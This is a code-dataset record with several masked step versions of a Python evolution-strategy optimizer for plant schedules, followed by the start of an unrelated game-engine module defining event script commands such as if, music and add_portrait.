file.close()\n return optimizer\n\n def run(self, initialPopulation=None):\n \"\"\"\n\t\tEntry point of the evolution strategy algorithm.\n\t\t\"\"\"\n pprint('OPT calculating initial population...', BLUE, self.printing)\n if initialPopulation == None:\n population = self.initialPopulation()\n else:\n for p in initialPopulation:\n self.calcIndividualFitness(p)\n population = self.mutatePopulation(initialPopulation)\n for i in range(self.iterations):\n pprint('OPT iteration number %s' % (i + 1), BLUE, self.printing)\n population = self.mutatePopulation(population)\n return population\n\n def calcIndividualFitness(self, indiv):\n \"\"\"\n\t\tCalculates fitness of a schedule.\n\t\t\"\"\"\n t = time()\n self.simulator.simulate(indiv)\n self.evaluator.evaluate(indiv)\n t = time() - t\n self.simulatorTime += t\n\n def sortPopulation(self, population):\n \"\"\"\n\t\tSorts the population based on fitness, to have the better individuals\n\t\tat the beginning of the population list.\n\t\t\"\"\"\n population.sort(lambda a, b: cmp(b.fitness, a.fitness))\n\n def mutatePopulation(self, population):\n \"\"\"\n\t\tMutates a population. Selects the best n individuals (based on the \n\t\tselectionRate) to mutate (maybe they'll give us even better individuals!).\n\t\tAfter mutating an individual, it checks if we have an individual that is \n\t\tsimilar to the mutated one, if so, then try to mutate again, otherwise,\n\t\twe simply calculate its fitness and append it to the list. We then sort\n\t\tthe population based on fitness and return the best PopulationSize items.\n\t\t\"\"\"\n for i in range(int(math.ceil(self.selectionRate * len(population)))):\n mutatedIndiv = self.mutateIndividual(population[i])\n while self.isIndividualInPopulation(mutatedIndiv, population\n ) == True:\n mutatedIndiv = self.mutateIndividual(population[i])\n self.calcIndividualFitness(mutatedIndiv)\n population.append(mutatedIndiv)\n self.sortPopulation(population)\n return population[:self.populationSize]\n\n def isIndividualInPopulation(self, individual, population):\n \"\"\"\n\t\tChecks if an individual is in a population.\n\t\t\"\"\"\n for i in population:\n if i == individual:\n return True\n return False\n <mask token>\n\n def mutateIndividual(self, originalIndiv):\n \"\"\"\n\t\tGets an individual and returns a mutation of it.\n\t\t\"\"\"\n newIndiv = copy.deepcopy(originalIndiv)\n newIndiv.schedule = []\n newIndiv.finishTimes = []\n indivLen = len(newIndiv.startTimes)\n assert indivLen == len(self.orderList.orders)\n indexes = range(indivLen)\n for i in range(int(self.indivMutationRate * indivLen)):\n index = int(random.uniform(0, len(indexes)))\n newIndiv.startTimes[indexes[index]][2] = self.mutateGene(newIndiv\n .startTimes[indexes[index]][2])\n del indexes[index]\n return newIndiv\n\n def mutateGene(self, value):\n \"\"\"\n\t\tGets a value and returns a mutation of it based on the mutation range.\n\t\t\"\"\"\n addent = int(random.uniform(0, self.mutationRange))\n if random.uniform(0, 1) < 0.5:\n addent = -addent\n return max(0, value + addent)\n <mask token>\n", "step-2": "<mask token>\n\n\nclass Optimizer(object):\n <mask token>\n <mask token>\n\n @staticmethod\n def fromXml(xmlDoc, plant, orderList, simulator, evaluator):\n \"\"\"\n\t\tLoads the optimizer configuration and parameters from an XML tree.\n\t\t\"\"\"\n optimizer = Optimizer(plant, orderList, simulator, evaluator)\n element = xmlDoc.getElementsByTagName('optimizer')\n assert len(element) == 1\n element = element[0]\n optimizer.populationSize = int(element.getAttribute('populationSize'))\n optimizer.mutationRange = int(element.getAttribute('mutationRange'))\n optimizer.iterations = int(element.getAttribute('iterations'))\n optimizer.indivMutationRate = float(element.getAttribute(\n 'indivMutationRate'))\n optimizer.selectionRate = float(element.getAttribute('selectionRate'))\n return optimizer\n\n @staticmethod\n def fromXmlFile(filename, plant, orderList, simulator, evaluator):\n \"\"\"\n\t\tLoads the optimizer configuration and parameters from an XML tree.\n\t\t\"\"\"\n file = open(filename, 'r')\n doc = minidom.parse(file)\n optimizer = Optimizer.fromXml(doc, plant, orderList, simulator,\n evaluator)\n file.close()\n return optimizer\n\n def run(self, initialPopulation=None):\n \"\"\"\n\t\tEntry point of the evolution strategy algorithm.\n\t\t\"\"\"\n pprint('OPT calculating initial population...', BLUE, self.printing)\n if initialPopulation == None:\n population = self.initialPopulation()\n else:\n for p in initialPopulation:\n self.calcIndividualFitness(p)\n population = self.mutatePopulation(initialPopulation)\n for i in range(self.iterations):\n pprint('OPT iteration number %s' % (i + 1), BLUE, self.printing)\n population = self.mutatePopulation(population)\n return population\n\n def calcIndividualFitness(self, indiv):\n \"\"\"\n\t\tCalculates fitness of a schedule.\n\t\t\"\"\"\n t = time()\n self.simulator.simulate(indiv)\n self.evaluator.evaluate(indiv)\n t = time() - t\n self.simulatorTime += t\n\n def sortPopulation(self, population):\n \"\"\"\n\t\tSorts the population based on fitness, to have the better individuals\n\t\tat the beginning of the population list.\n\t\t\"\"\"\n population.sort(lambda a, b: cmp(b.fitness, a.fitness))\n\n def mutatePopulation(self, population):\n \"\"\"\n\t\tMutates a population. Selects the best n individuals (based on the \n\t\tselectionRate) to mutate (maybe they'll give us even better individuals!).\n\t\tAfter mutating an individual, it checks if we have an individual that is \n\t\tsimilar to the mutated one, if so, then try to mutate again, otherwise,\n\t\twe simply calculate its fitness and append it to the list. We then sort\n\t\tthe population based on fitness and return the best PopulationSize items.\n\t\t\"\"\"\n for i in range(int(math.ceil(self.selectionRate * len(population)))):\n mutatedIndiv = self.mutateIndividual(population[i])\n while self.isIndividualInPopulation(mutatedIndiv, population\n ) == True:\n mutatedIndiv = self.mutateIndividual(population[i])\n self.calcIndividualFitness(mutatedIndiv)\n population.append(mutatedIndiv)\n self.sortPopulation(population)\n return population[:self.populationSize]\n\n def isIndividualInPopulation(self, individual, population):\n \"\"\"\n\t\tChecks if an individual is in a population.\n\t\t\"\"\"\n for i in population:\n if i == individual:\n return True\n return False\n\n def initialPopulation(self):\n \"\"\"\n\t\tGenerates an initial population.\n\t\t\"\"\"\n population = []\n initIndiv = self.initialIndividual()\n self.calcIndividualFitness(initIndiv)\n population.append(initIndiv)\n for i in range(self.populationSize):\n mutatedIndiv = self.mutateIndividual(initIndiv)\n while self.isIndividualInPopulation(mutatedIndiv, population\n ) == True:\n mutatedIndiv = self.mutateIndividual(initIndiv)\n self.calcIndividualFitness(mutatedIndiv)\n population.append(mutatedIndiv)\n self.sortPopulation(population)\n return population\n\n def mutateIndividual(self, originalIndiv):\n \"\"\"\n\t\tGets an individual and returns a mutation of it.\n\t\t\"\"\"\n newIndiv = copy.deepcopy(originalIndiv)\n newIndiv.schedule = []\n newIndiv.finishTimes = []\n indivLen = len(newIndiv.startTimes)\n assert indivLen == len(self.orderList.orders)\n indexes = range(indivLen)\n for i in range(int(self.indivMutationRate * indivLen)):\n index = int(random.uniform(0, len(indexes)))\n newIndiv.startTimes[indexes[index]][2] = self.mutateGene(newIndiv\n .startTimes[indexes[index]][2])\n del indexes[index]\n return newIndiv\n\n def mutateGene(self, value):\n \"\"\"\n\t\tGets a value and returns a mutation of it based on the mutation range.\n\t\t\"\"\"\n addent = int(random.uniform(0, self.mutationRange))\n if random.uniform(0, 1) < 0.5:\n addent = -addent\n return max(0, value + addent)\n <mask token>\n", "step-3": "<mask token>\n\n\nclass Optimizer(object):\n <mask token>\n\n def __init__(self, plant, orderList, simulator, evaluator):\n \"\"\"\n\t\tplant - the plant to run the simulation and evaluation on\n\t\torderList - the list of orders in the given schedule\n\t\tsimulator - Simulator instance to run a schedule\n\t\tevaluator - Evaluator instance to evaluate a schedule\n\t\t\"\"\"\n assert plant != None\n assert orderList != None\n self.plant = plant\n self.orderList = orderList\n self.simulator = simulator\n self.evaluator = evaluator\n self.simulatorTime = 0\n self.printing = True\n self.populationSize = 0\n self.indivMutationRate = 0\n self.selectionRate = 0\n self.mutationRange = 0\n self.iterations = 0\n\n @staticmethod\n def fromXml(xmlDoc, plant, orderList, simulator, evaluator):\n \"\"\"\n\t\tLoads the optimizer configuration and parameters from an XML tree.\n\t\t\"\"\"\n optimizer = Optimizer(plant, orderList, simulator, evaluator)\n element = xmlDoc.getElementsByTagName('optimizer')\n assert len(element) == 1\n element = element[0]\n optimizer.populationSize = int(element.getAttribute('populationSize'))\n optimizer.mutationRange = int(element.getAttribute('mutationRange'))\n optimizer.iterations = int(element.getAttribute('iterations'))\n optimizer.indivMutationRate = float(element.getAttribute(\n 'indivMutationRate'))\n optimizer.selectionRate = float(element.getAttribute('selectionRate'))\n return optimizer\n\n @staticmethod\n def fromXmlFile(filename, plant, orderList, simulator, evaluator):\n \"\"\"\n\t\tLoads the optimizer configuration and parameters from an XML tree.\n\t\t\"\"\"\n file = open(filename, 'r')\n doc = minidom.parse(file)\n optimizer = Optimizer.fromXml(doc, plant, orderList, simulator,\n evaluator)\n file.close()\n return optimizer\n\n def run(self, initialPopulation=None):\n \"\"\"\n\t\tEntry point of the evolution strategy algorithm.\n\t\t\"\"\"\n pprint('OPT calculating initial population...', BLUE, self.printing)\n if initialPopulation == None:\n population = self.initialPopulation()\n else:\n for p in initialPopulation:\n self.calcIndividualFitness(p)\n population = self.mutatePopulation(initialPopulation)\n for i in range(self.iterations):\n pprint('OPT iteration number %s' % (i + 1), BLUE, self.printing)\n population = self.mutatePopulation(population)\n return population\n\n def calcIndividualFitness(self, indiv):\n \"\"\"\n\t\tCalculates fitness of a schedule.\n\t\t\"\"\"\n t = time()\n self.simulator.simulate(indiv)\n self.evaluator.evaluate(indiv)\n t = time() - t\n self.simulatorTime += t\n\n def sortPopulation(self, population):\n \"\"\"\n\t\tSorts the population based on fitness, to have the better individuals\n\t\tat the beginning of the population list.\n\t\t\"\"\"\n population.sort(lambda a, b: cmp(b.fitness, a.fitness))\n\n def mutatePopulation(self, population):\n \"\"\"\n\t\tMutates a population. Selects the best n individuals (based on the \n\t\tselectionRate) to mutate (maybe they'll give us even better individuals!).\n\t\tAfter mutating an individual, it checks if we have an individual that is \n\t\tsimilar to the mutated one, if so, then try to mutate again, otherwise,\n\t\twe simply calculate its fitness and append it to the list. We then sort\n\t\tthe population based on fitness and return the best PopulationSize items.\n\t\t\"\"\"\n for i in range(int(math.ceil(self.selectionRate * len(population)))):\n mutatedIndiv = self.mutateIndividual(population[i])\n while self.isIndividualInPopulation(mutatedIndiv, population\n ) == True:\n mutatedIndiv = self.mutateIndividual(population[i])\n self.calcIndividualFitness(mutatedIndiv)\n population.append(mutatedIndiv)\n self.sortPopulation(population)\n return population[:self.populationSize]\n\n def isIndividualInPopulation(self, individual, population):\n \"\"\"\n\t\tChecks if an individual is in a population.\n\t\t\"\"\"\n for i in population:\n if i == individual:\n return True\n return False\n\n def initialPopulation(self):\n \"\"\"\n\t\tGenerates an initial population.\n\t\t\"\"\"\n population = []\n initIndiv = self.initialIndividual()\n self.calcIndividualFitness(initIndiv)\n population.append(initIndiv)\n for i in range(self.populationSize):\n mutatedIndiv = self.mutateIndividual(initIndiv)\n while self.isIndividualInPopulation(mutatedIndiv, population\n ) == True:\n mutatedIndiv = self.mutateIndividual(initIndiv)\n self.calcIndividualFitness(mutatedIndiv)\n population.append(mutatedIndiv)\n self.sortPopulation(population)\n return population\n\n def mutateIndividual(self, originalIndiv):\n \"\"\"\n\t\tGets an individual and returns a mutation of it.\n\t\t\"\"\"\n newIndiv = copy.deepcopy(originalIndiv)\n newIndiv.schedule = []\n newIndiv.finishTimes = []\n indivLen = len(newIndiv.startTimes)\n assert indivLen == len(self.orderList.orders)\n indexes = range(indivLen)\n for i in range(int(self.indivMutationRate * indivLen)):\n index = int(random.uniform(0, len(indexes)))\n newIndiv.startTimes[indexes[index]][2] = self.mutateGene(newIndiv\n .startTimes[indexes[index]][2])\n del indexes[index]\n return newIndiv\n\n def mutateGene(self, value):\n \"\"\"\n\t\tGets a value and returns a mutation of it based on the mutation range.\n\t\t\"\"\"\n addent = int(random.uniform(0, self.mutationRange))\n if random.uniform(0, 1) < 0.5:\n addent = -addent\n return max(0, value + addent)\n <mask token>\n", "step-4": "<mask token>\n\n\nclass Optimizer(object):\n <mask token>\n\n def __init__(self, plant, orderList, simulator, evaluator):\n \"\"\"\n\t\tplant - the plant to run the simulation and evaluation on\n\t\torderList - the list of orders in the given schedule\n\t\tsimulator - Simulator instance to run a schedule\n\t\tevaluator - Evaluator instance to evaluate a schedule\n\t\t\"\"\"\n assert plant != None\n assert orderList != None\n self.plant = plant\n self.orderList = orderList\n self.simulator = simulator\n self.evaluator = evaluator\n self.simulatorTime = 0\n self.printing = True\n self.populationSize = 0\n self.indivMutationRate = 0\n self.selectionRate = 0\n self.mutationRange = 0\n self.iterations = 0\n\n @staticmethod\n def fromXml(xmlDoc, plant, orderList, simulator, evaluator):\n \"\"\"\n\t\tLoads the optimizer configuration and parameters from an XML tree.\n\t\t\"\"\"\n optimizer = Optimizer(plant, orderList, simulator, evaluator)\n element = xmlDoc.getElementsByTagName('optimizer')\n assert len(element) == 1\n element = element[0]\n optimizer.populationSize = int(element.getAttribute('populationSize'))\n optimizer.mutationRange = int(element.getAttribute('mutationRange'))\n optimizer.iterations = int(element.getAttribute('iterations'))\n optimizer.indivMutationRate = float(element.getAttribute(\n 'indivMutationRate'))\n optimizer.selectionRate = float(element.getAttribute('selectionRate'))\n return optimizer\n\n @staticmethod\n def fromXmlFile(filename, plant, orderList, simulator, evaluator):\n \"\"\"\n\t\tLoads the optimizer configuration and parameters from an XML tree.\n\t\t\"\"\"\n file = open(filename, 'r')\n doc = minidom.parse(file)\n optimizer = Optimizer.fromXml(doc, plant, orderList, simulator,\n evaluator)\n file.close()\n return optimizer\n\n def run(self, initialPopulation=None):\n \"\"\"\n\t\tEntry point of the evolution strategy algorithm.\n\t\t\"\"\"\n pprint('OPT calculating initial population...', BLUE, self.printing)\n if initialPopulation == None:\n population = self.initialPopulation()\n else:\n for p in initialPopulation:\n self.calcIndividualFitness(p)\n population = self.mutatePopulation(initialPopulation)\n for i in range(self.iterations):\n pprint('OPT iteration number %s' % (i + 1), BLUE, self.printing)\n population = self.mutatePopulation(population)\n return population\n\n def calcIndividualFitness(self, indiv):\n \"\"\"\n\t\tCalculates fitness of a schedule.\n\t\t\"\"\"\n t = time()\n self.simulator.simulate(indiv)\n self.evaluator.evaluate(indiv)\n t = time() - t\n self.simulatorTime += t\n\n def sortPopulation(self, population):\n \"\"\"\n\t\tSorts the population based on fitness, to have the better individuals\n\t\tat the beginning of the population list.\n\t\t\"\"\"\n population.sort(lambda a, b: cmp(b.fitness, a.fitness))\n\n def mutatePopulation(self, population):\n \"\"\"\n\t\tMutates a population. Selects the best n individuals (based on the \n\t\tselectionRate) to mutate (maybe they'll give us even better individuals!).\n\t\tAfter mutating an individual, it checks if we have an individual that is \n\t\tsimilar to the mutated one, if so, then try to mutate again, otherwise,\n\t\twe simply calculate its fitness and append it to the list. We then sort\n\t\tthe population based on fitness and return the best PopulationSize items.\n\t\t\"\"\"\n for i in range(int(math.ceil(self.selectionRate * len(population)))):\n mutatedIndiv = self.mutateIndividual(population[i])\n while self.isIndividualInPopulation(mutatedIndiv, population\n ) == True:\n mutatedIndiv = self.mutateIndividual(population[i])\n self.calcIndividualFitness(mutatedIndiv)\n population.append(mutatedIndiv)\n self.sortPopulation(population)\n return population[:self.populationSize]\n\n def isIndividualInPopulation(self, individual, population):\n \"\"\"\n\t\tChecks if an individual is in a population.\n\t\t\"\"\"\n for i in population:\n if i == individual:\n return True\n return False\n\n def initialPopulation(self):\n \"\"\"\n\t\tGenerates an initial population.\n\t\t\"\"\"\n population = []\n initIndiv = self.initialIndividual()\n self.calcIndividualFitness(initIndiv)\n population.append(initIndiv)\n for i in range(self.populationSize):\n mutatedIndiv = self.mutateIndividual(initIndiv)\n while self.isIndividualInPopulation(mutatedIndiv, population\n ) == True:\n mutatedIndiv = self.mutateIndividual(initIndiv)\n self.calcIndividualFitness(mutatedIndiv)\n population.append(mutatedIndiv)\n self.sortPopulation(population)\n return population\n\n def mutateIndividual(self, originalIndiv):\n \"\"\"\n\t\tGets an individual and returns a mutation of it.\n\t\t\"\"\"\n newIndiv = copy.deepcopy(originalIndiv)\n newIndiv.schedule = []\n newIndiv.finishTimes = []\n indivLen = len(newIndiv.startTimes)\n assert indivLen == len(self.orderList.orders)\n indexes = range(indivLen)\n for i in range(int(self.indivMutationRate * indivLen)):\n index = int(random.uniform(0, len(indexes)))\n newIndiv.startTimes[indexes[index]][2] = self.mutateGene(newIndiv\n .startTimes[indexes[index]][2])\n del indexes[index]\n return newIndiv\n\n def mutateGene(self, value):\n \"\"\"\n\t\tGets a value and returns a mutation of it based on the mutation range.\n\t\t\"\"\"\n addent = int(random.uniform(0, self.mutationRange))\n if random.uniform(0, 1) < 0.5:\n addent = -addent\n return max(0, value + addent)\n\n def initialIndividual(self):\n \"\"\"\n\t\tGenerates an initial individual based on order deadlines - minimum\n\t\tprocessing time. Account whether an order has a current machine and\n\t\tcurrent overtime.\n\t\t\"\"\"\n indiv = Schedule()\n for o in self.orderList.orders:\n if o.currentMachine == '':\n minProcTime = o.recipe.calcMinProcTime(self.plant)\n machineName = o.recipe.recipe[0][0]\n else:\n machineName = o.currentMachine\n minProcTime = o.recipe.calcMinProcTime(self.plant, o.\n currentMachine)\n indiv.startTimes.append([o, str(machineName), max(0, o.deadline -\n minProcTime)])\n return indiv\n", "step-5": "\"\"\"\nThis module provides an optimizer class that is based on an evolution\nstrategy algorithm.\n\"\"\"\nimport copy, random, math\nfrom time import time\nfrom xml.dom import minidom\nfrom extra.schedule import Schedule\nfrom extra.printer import pprint, BLUE\n\nclass Optimizer(object):\n\t\"\"\"\n\tThis class is the implementation of the evolution strategy to optimize\n\tand evaluate schedules.\n\t\"\"\"\n\tdef __init__(self, plant, orderList, simulator, evaluator):\n\t\t\"\"\"\n\t\tplant - the plant to run the simulation and evaluation on\n\t\torderList - the list of orders in the given schedule\n\t\tsimulator - Simulator instance to run a schedule\n\t\tevaluator - Evaluator instance to evaluate a schedule\n\t\t\"\"\"\n\t\tassert plant != None\n\t\tassert orderList != None\n\t\t\n\t\tself.plant = plant\n\t\tself.orderList = orderList\n\t\tself.simulator = simulator\n\t\tself.evaluator = evaluator\n\t\t\n\t\t# used for benchmarking\n\t\tself.simulatorTime = 0\n\t\t\n\t\t# enable/disable console output\n\t\tself.printing = True\n\t\t\n\t\t# parameters for the evolution strategy algorithm\n\t\tself.populationSize = 0\n\t\tself.indivMutationRate = 0\n\t\tself.selectionRate = 0\n\t\tself.mutationRange = 0\n\t\tself.iterations = 0\n\t\n\t@staticmethod\n\tdef fromXml(xmlDoc, plant, orderList, simulator, evaluator):\n\t\t\"\"\"\n\t\tLoads the optimizer configuration and parameters from an XML tree.\n\t\t\"\"\"\n\t\toptimizer = Optimizer(plant, orderList, simulator, evaluator)\n\t\telement = xmlDoc.getElementsByTagName(\"optimizer\")\n\t\t\n\t\t# there should only be 1 optimizer node in the XML tree!\n\t\tassert len(element) == 1\n\t\telement = element[0]\n\t\t\n\t\t# load the different attributes\n\t\toptimizer.populationSize = \\\n\t\t\tint(element.getAttribute(\"populationSize\"))\n\t\toptimizer.mutationRange = \\\n\t\t\tint(element.getAttribute(\"mutationRange\"))\n\t\toptimizer.iterations = \\\n\t\t\tint(element.getAttribute(\"iterations\"))\n\t\toptimizer.indivMutationRate = \\\n\t\t\tfloat(element.getAttribute(\"indivMutationRate\"))\n\t\toptimizer.selectionRate = \\\n\t\t\tfloat(element.getAttribute(\"selectionRate\"))\n\t\t\n\t\treturn optimizer\n\n\t@staticmethod\n\tdef fromXmlFile(filename, plant, orderList, simulator, evaluator):\n\t\t\"\"\"\n\t\tLoads the optimizer configuration and parameters from an XML tree.\n\t\t\"\"\"\n\t\tfile = open(filename, \"r\")\n\t\tdoc = minidom.parse(file)\n\t\toptimizer = Optimizer.fromXml(doc, plant, orderList, simulator, evaluator)\n\t\tfile.close()\n\t\treturn optimizer\n\t\t\n\tdef run(self, initialPopulation = None):\n\t\t\"\"\"\n\t\tEntry point of the evolution strategy algorithm.\n\t\t\"\"\"\n\t\tpprint(\"OPT calculating initial population...\", BLUE, self.printing)\n\t\t\n\t\tif initialPopulation == None:\n\t\t\t# if we don't get an initial set of schedules as the initial population,\n\t\t\t# then we need to generate one.\n\t\t\tpopulation = self.initialPopulation()\n\t\telse:\n\t\t\t# if we do get an initial population as input, then we just need to \n\t\t\t# calculate the fitnesses of the schedules in it.\n\t\t\tfor p in initialPopulation:\n\t\t\t\tself.calcIndividualFitness(p)\n\t\t\t# if the population is too small or too large (less than or larger than\n\t\t\t# self.populationSize) then this will fix that for us.\n\t\t\tpopulation = self.mutatePopulation(initialPopulation)\n\t\t\n\t\t# go through the needed number of iterations and mutate the population\n\t\t# everytime, this will keep the best individuals and will return the \n\t\t# best population achieved at the end.\n\t\tfor i in range(self.iterations):\n\t\t\tpprint(\"OPT iteration number %s\" % (i + 1), BLUE, self.printing)\n\t\t\tpopulation = self.mutatePopulation(population)\n\t\treturn population\n\t\t\t\n\tdef calcIndividualFitness(self, indiv):\n\t\t\"\"\"\n\t\tCalculates fitness of a schedule.\n\t\t\"\"\"\n\t\tt = time()\n\t\tself.simulator.simulate(indiv)\n\t\tself.evaluator.evaluate(indiv)\n\t\tt = time() - t\n\t\tself.simulatorTime += t\n\t\n\tdef sortPopulation(self, population):\n\t\t\"\"\"\n\t\tSorts the population based on fitness, to have the better individuals\n\t\tat the beginning of the population list.\n\t\t\"\"\"\n\t\tpopulation.sort(lambda a, b: cmp(b.fitness, a.fitness))\n\t\n\tdef mutatePopulation(self, population):\n\t\t\"\"\"\n\t\tMutates a population. Selects the best n individuals (based on the \n\t\tselectionRate) to mutate (maybe they'll give us even better individuals!).\n\t\tAfter mutating an individual, it checks if we have an individual that is \n\t\tsimilar to the mutated one, if so, then try to mutate again, otherwise,\n\t\twe simply calculate its fitness and append it to the list. We then sort\n\t\tthe population based on fitness and return the best PopulationSize items.\n\t\t\"\"\"\n\t\tfor i in range(int(math.ceil(self.selectionRate * len(population)))):\n\t\t\tmutatedIndiv = self.mutateIndividual(population[i])\n\t\t\twhile self.isIndividualInPopulation(mutatedIndiv, population) == True:\n\t\t\t\tmutatedIndiv = self.mutateIndividual(population[i])\n\t\t\tself.calcIndividualFitness(mutatedIndiv)\n\t\t\tpopulation.append(mutatedIndiv)\n\t\tself.sortPopulation(population)\n\t\treturn population[:self.populationSize]\n\t\n\tdef isIndividualInPopulation(self, individual, population):\n\t\t\"\"\"\n\t\tChecks if an individual is in a population.\n\t\t\"\"\"\n\t\tfor i in population:\n\t\t\tif i == individual:\n\t\t\t\treturn True\n\t\treturn False\n\t\n\tdef initialPopulation(self):\n\t\t\"\"\"\n\t\tGenerates an initial population.\n\t\t\"\"\"\n\t\tpopulation = []\n\t\t# generate an initial individual, calculate its fitness and add it to our\n\t\t# new population\n\t\tinitIndiv = self.initialIndividual()\n\t\tself.calcIndividualFitness(initIndiv)\n\t\tpopulation.append(initIndiv)\n\t\t\n\t\t# until we have filled the population\n\t\tfor i in range(self.populationSize):\n\t\t\t# keep mutating the initial individual to get new ones\n\t\t\tmutatedIndiv = self.mutateIndividual(initIndiv)\n\t\t\t# if that new individual is in the population, don't add it, try\n\t\t\t# getting a new one\n\t\t\twhile self.isIndividualInPopulation(mutatedIndiv, population) == True:\n\t\t\t\tmutatedIndiv = self.mutateIndividual(initIndiv)\n\t\t\tself.calcIndividualFitness(mutatedIndiv)\n\t\t\tpopulation.append(mutatedIndiv)\n\t\tself.sortPopulation(population)\n\t\treturn population\n\t\t\n\tdef mutateIndividual(self, originalIndiv):\n\t\t\"\"\"\n\t\tGets an individual and returns a mutation of it.\n\t\t\"\"\"\n\t\t# we need to deepcopy the schedule object\n\t\tnewIndiv = copy.deepcopy(originalIndiv)\n\t\t# emtpy its schedule (we don't need it since it will be generated from the \n\t\t# new start times using the simulator\n\t\tnewIndiv.schedule = []\n\t\t# same for the finish times\n\t\tnewIndiv.finishTimes = []\n\t\tindivLen = len(newIndiv.startTimes)\n\t\t\n\t\t# the plant-entrance times in the schedule should be equal to the number\n\t\t# of orders! otherwise, something is wrong!\n\t\tassert indivLen == len(self.orderList.orders)\n\t\t\n\t\tindexes = range(indivLen)\n\t\t# for n times (based on the individual mutation rate), mutate a random\n\t\t# order plant-entrance time that we didn't mutate before.\n\t\tfor i in range(int(self.indivMutationRate * indivLen)):\n\t\t\tindex = int(random.uniform(0, len(indexes)))\n\t\t\tnewIndiv.startTimes[indexes[index]][2] = \\\n\t\t\t\tself.mutateGene(newIndiv.startTimes[indexes[index]][2])\n\t\t\tdel indexes[index]\n\t\treturn newIndiv\n\t\t\n\tdef mutateGene(self, value):\n\t\t\"\"\"\n\t\tGets a value and returns a mutation of it based on the mutation range.\n\t\t\"\"\"\n\t\taddent = int(random.uniform(0, self.mutationRange))\n\t\tif (random.uniform(0, 1) < 0.5):\n\t\t\taddent = -addent\n\t\treturn max(0, value + addent)\n\t\n\tdef initialIndividual(self):\n\t\t\"\"\"\n\t\tGenerates an initial individual based on order deadlines - minimum\n\t\tprocessing time. Account whether an order has a current machine and\n\t\tcurrent overtime.\n\t\t\"\"\"\n\t\tindiv = Schedule()\n\t\t\n\t\tfor o in self.orderList.orders:\n\t\t\tif o.currentMachine == \"\":\n\t\t\t\tminProcTime = o.recipe.calcMinProcTime(self.plant)\n\t\t\t\tmachineName = o.recipe.recipe[0][0]\n\t\t\telse:\n\t\t\t\tmachineName = o.currentMachine\n\t\t\t\tminProcTime = o.recipe.calcMinProcTime(self.plant, o.currentMachine)\n\t\t\tindiv.startTimes.append(\n\t\t\t\t[o, str(machineName), max(0, o.deadline - minProcTime)])\n\t\treturn indiv\n\t", "step-ids": [ 10, 11, 12, 13, 16 ] }
[ 10, 11, 12, 13, 16 ]
from enum import Enum from app.utilities.data import Prefab class Tags(Enum): FLOW_CONTROL = 'Flow Control' MUSIC_SOUND = 'Music/Sound' PORTRAIT = 'Portrait' BG_FG = 'Background/Foreground' DIALOGUE_TEXT = 'Dialogue/Text' CURSOR_CAMERA = 'Cursor/Camera' LEVEL_VARS = 'Level-wide Unlocks and Variables' GAME_VARS = 'Game-wide Unlocks and Variables' TILEMAP = 'Tilemap' REGION = 'Region' ADD_REMOVE_INTERACT_WITH_UNITS = 'Add/Remove/Interact with Units' MODIFY_UNIT_PROPERTIES = 'Modify Unit Properties' UNIT_GROUPS = 'Unit Groups' MISCELLANEOUS = 'Miscellaneous' HIDDEN = 'Hidden' class EventCommand(Prefab): nid: str = None nickname: str = None tag: Tags = Tags.HIDDEN desc: str = '' keywords: list = [] optional_keywords: list = [] flags: list = [] values: list = [] display_values: list = [] def __init__(self, values=None, disp_values=None): self.values = values or [] self.display_values = disp_values or values or [] def save(self): # Don't bother saving display values if they are identical if self.display_values == self.values: return self.nid, self.values else: return self.nid, self.values, self.display_values def to_plain_text(self): if self.display_values: return ';'.join([self.nid] + self.display_values) else: return ';'.join([self.nid] + self.values) def __repr__(self): return self.to_plain_text() class Comment(EventCommand): nid = "comment" nickname = '#' tag = Tags.FLOW_CONTROL desc = \ """ **Lines** starting with '#' will be ignored. """ def to_plain_text(self): return self.values[0] class If(EventCommand): nid = "if" tag = Tags.FLOW_CONTROL desc = \ """ If the _Condition_ returns true, the block under this command will be executed. If it returns false, the script will search for the next **elif**, **else**, or **end** command before proceeding. If it is not a valid Python expression, the result will be treated as false. Remember to end your **if** blocks with **end**. The indentation is not required, but is recommended for organization of the conditional blocks. Example: ``` if;game.check_dead('Eirika') lose_game elif;game.check_dead('Lyon') win_game else u;Eirika s;Eirika;Nice! r;Eirika end ``` """ keywords = ['Condition'] class Elif(EventCommand): nid = "elif" tag = Tags.FLOW_CONTROL desc = \ """ Works exactly like the **if** statement, but is called only if the previous **if** or **elif** returned false. In the following example, the **elif** will only be processed if `if;game.check_dead('Eirika')` return false. Example: ``` if;game.check_dead('Eirika') lose_game elif;game.check_dead('Lyon') win_game else u;Eirika s;Eirika;Nice! r;Eirika end ``` """ keywords = ['Condition'] class Else(EventCommand): nid = "else" tag = Tags.FLOW_CONTROL desc = \ """ Defines a block to be executed only if the previous **if** or **elif** returned false. Example: ``` if;game.check_dead('Eirika') lose_game elif;game.check_dead('Lyon') win_game else u;Eirika s;Eirika;Nice! r;Eirika end ``` """ class End(EventCommand): nid = "end" tag = Tags.FLOW_CONTROL desc = \ """ Ends a conditional block. Refer to the **if** command for more information. """ class Break(EventCommand): nid = "break" tag = Tags.FLOW_CONTROL desc = \ """ Immediately ends the current event. """ class Wait(EventCommand): nid = "wait" tag = Tags.FLOW_CONTROL desc = \ """ Pauses the execution of the script for _Time_ milliseconds. Often used after a scene transition, cursor movement, or reinforcements to give the player a chance to take in the scene. """ keywords = ['Time'] class EndSkip(EventCommand): nid = "end_skip" tag = Tags.FLOW_CONTROL desc = \ """ If the player was skipping through the event script, stop the skip here. Used to prevent a single skip from skipping through an entire event. """ class Music(EventCommand): nid = "music" nickname = "m" tag = Tags.MUSIC_SOUND desc = \ """ Fades in _Music_ over the course of _Time_ milliseconds. Fade in defaults to 400 milliseconds. """ keywords = ['Music'] optional_keywords = ['Time'] # How long to fade in (default 400) class MusicClear(EventCommand): nid = "music_clear" tag = Tags.MUSIC_SOUND desc = \ """ Fades out the currently playing song over the course of _Time_ milliseconds. Also clears the entire song stack. Fade out defaults to 400 milliseconds. """ optional_keywords = ['Time'] # How long to fade out class Sound(EventCommand): nid = "sound" tag = Tags.MUSIC_SOUND desc = \ """ Plays the _Sound_ once. """ keywords = ['Sound'] class ChangeMusic(EventCommand): nid = 'change_music' tag = Tags.MUSIC_SOUND desc = \ """ Changes the phase theme music. For instance, you could use this command to change the player phase theme halfway through the chapter. """ keywords = ['PhaseMusic', 'Music'] class AddPortrait(EventCommand): nid = "add_portrait" nickname = "u" tag = Tags.PORTRAIT desc = \ """ Adds a portrait to the screen. Extra flags: 1. _mirror_: Portrait will face opposite expected direction. 2. _low_priority_: Portrait will appear behind all other portraits on the screen. 3. _immediate_: Portrait will not fade in. 4. _no_block_: 